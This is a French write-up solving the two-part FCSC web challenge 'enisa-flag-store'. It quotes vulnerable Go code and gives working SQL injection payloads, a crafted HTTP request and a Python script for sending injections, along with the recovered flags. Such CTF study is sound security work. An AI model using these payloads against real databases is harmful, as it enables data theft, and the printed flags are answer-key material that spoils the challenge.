Énoncé 1/2

énoncé

RĂ©solution

Client-Side

Sur ce challenge Web, le fichier enisa-flag-store.go nous est donnĂ©. Ce fichier correspond au programme utilisĂ© en backend par le site : enisa-flag-store. Un token nous est aussi fourni afin de crĂ©er un compte correspondant Ă  celle de l’Ă©quipe de France. Voyons ce que nous avons cĂ´tĂ© client :

client side signup

Le client peut ce connecter à son compte et créer un compte. Pour cela il lui faut fournir 4 valeurs :

  • un nom d’utilisateur
  • un mot de passe
  • un token
  • un pays

Essayons de crĂ©er un compte avec le token fourni dans l’Ă©nnoncĂ© (ohnah7bairahPh5oon7naqu1caib8euh), en selectionnant la France. Ensuite on se connecte pour voir ce que nous avons :

client side tableau avec les flags de l’Ă©quipe

Server-Side

En fouillant un peu dans le script enisa-flag-store.go fourni, on se rend compte qu’une SQL injection est possible dans le champ country lors de l’inscription :

func getData(user User) (
    []Flag,
    error,
) {
    var flags []Flag

    req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = '%s';`, user.Country);
    rows, err := db.Query(req);
    if err != nil {
        return flags, err
    }
    defer rows.Close()

    for rows.Next() {
        var flag Flag
        err = rows.Scan(&flag.CTF, &flag.Challenge, &flag.Flag, &flag.Points)
        if err != nil {
            return flags, err
        }
        flags = append(flags, flag)
    }
    if err = rows.Err(); err != nil {
        return flags, err
    }

    return flags, nil
}

Cependant, la fonction : CheckToken, vérifie si le token correspond au pays sélectionné :

func CheckToken(country string, token string) (
    bool,
) {

    stmt, err := db.Prepare(`SELECT id FROM country_tokens
                             WHERE country = SUBSTR($1, 1, 2)
                             AND token = encode(digest($2, 'sha1'), 'hex')`)
    if err != nil {
        log.Fatal(err)
    }

    t := &Token{}
    err = stmt.QueryRow(country, token).Scan(&t.Id)
    if err != nil {
        return false
    }
    return true
}

Parcontre, seulement les 2 premiers caractères sont récupéré dans le champ country, pour vérifié si le pays sélectionné correspond au token fourni. On peut donc faire une injection pour avoir accès aux flags suisse grâce au payload : fr' OR country = 'ch. Cela effectuera la requête SQL suivante : SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' OR country = 'ch';.

Solution

Il ne nous reste maintenant plus qu’Ă  exploiter la faille. On intercepte la requĂŞte HTTP avec burpsuite et on modifie le corps de la requĂŞte POST lors de la crĂ©ation du compte :

POST /signup HTTP/1.1
Host: enisa-flag-store.france-cybersecurity-challenge.fr
Cookie: auth=MTY4Mjg4MzU0NnxEdi1CQkFFQ180SUFBUkFCRUFBQVlQLUNBQU1HYzNSeWFXNW5EQWtBQjJOdmRXNTBjbmtHYzNSeWFXNW5EQUlBQUFaemRISnBibWNNRHdBTllYVjBhR1Z1ZEdsallYUmxaQVJpYjI5c0FnSUFBQVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQUlBQUE9PXxuATdqTM3SJjoAKetvcN7RzaNuw4C_z8LsSEgEbiXuNw==
Content-Length: 83
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://enisa-flag-store.france-cybersecurity-challenge.fr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://enisa-flag-store.france-cybersecurity-challenge.fr/signup
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=fayred&password=password&token=ohnah7bairahPh5oon7naqu1caib8euh&country=fr'+OR+country+%3d+'ch

On envoit ça et on se connecte au compte crĂ©Ă©. On se retrouve avec tous les flags de l’Ă©quipe suisse dont le flag pour valider notre challenge :

tableau avec tous les flags français et suisse

Flag 1/2 : FCSC{fad3a47d8ded28565aa2f68f6e2dbc37343881ba67fe39c5999a0102c387c34b}

Énoncé 2/2

énoncé

RĂ©solution

Dans cette deuxième partie, on doit trouver le flag quelque part dans la base de donnĂ©e. Pour ce faire il faut connaitre le nom des tables et colonnes prĂ©sente dans la DB. Je pense donc Ă  information_schema. J’essai donc une SQLi avec le payload suivant : fr' UNION SELECT table_name,'a','a',0 FROM information_schema.tables-- . Cependant le serveur me redirige sur /signup?error=4 qui correspond au message d’erreur : "Text fields are limited to 192 characters.". En effet la fonction RegisterLoginPassword retourne ErrFieldTooLong si le champ country est trop long. Il faut donc faire autrement. A partir de lĂ  pour tester mes payloads plus efficacement, je dĂ©veloppe un petit script python :

import requests
import random
import string

register_link = "https://enisa-flag-store.france-cybersecurity-challenge.fr/signup"

while True:
    random_cred = "".join(random.choice(string.ascii_letters) for i in range(16))

    print(f"RANDOM CRED : {random_cred}")

    print("[SQL without injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '")
    injection = input("SQLI >> ")
    print(f"[SQL with injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '{injection}")

    response = requests.post(register_link, data={
        "username": random_cred,
        "password": random_cred,
        "token": "ohnah7bairahPh5oon7naqu1caib8euh",
        "country": injection
    }, allow_redirects=False)

    print(f"LOCATION : {response.headers['location']}")

    print("\n------------------------------------\n")

Grâce au fichier donnĂ© on sait que c’est POSTGRES qui est utilisĂ©. Essayons alors de passer par pg_catalog. Pour rĂ©cupĂ©rer les tables, envoyons ce payload : fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables-- :

[SQL without injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '
SQLI >> fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables--
[SQL with injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables--
LOCATION : /

On se connecte au compte et on voit toute les tables disponible dont la table : __s3cr4_t4bl3__

table

Je fais pareil avec le payload fr' UNION SELECT attname,'a','a',0 FROM pg_catalog.pg_attribute-- pour rĂ©cupĂ©rer toutes les colonnes dont ___this_1s_th3_c0lumn_wh3r3_y0u_w1ll_f1nd_y0ur_s3c0nd_fl4g___. Cependant on ne peut pas prĂ©ciser de rĂ©cupĂ©rer les donnĂ©s de cette colonne pour rĂ©cupĂ©rer le flag. En effet le nom le table est trop long. On peut ce dire qu’il n’y a potentiellement qu’une seul colonne dans la table : __s3cr4_t4bl3__. Je tente donc le payload : fr' UNION SELECT *,'a','a',0 FROM "__s3cr4_t4bl3__"--. On se connecte au compte est on obtient le flag :

tableau avec le flag

Flag 2/2 : FCSC{b505ad2ce3f07c4793fa7269c359736dfbd71286c88de11509a96a77616b35a0}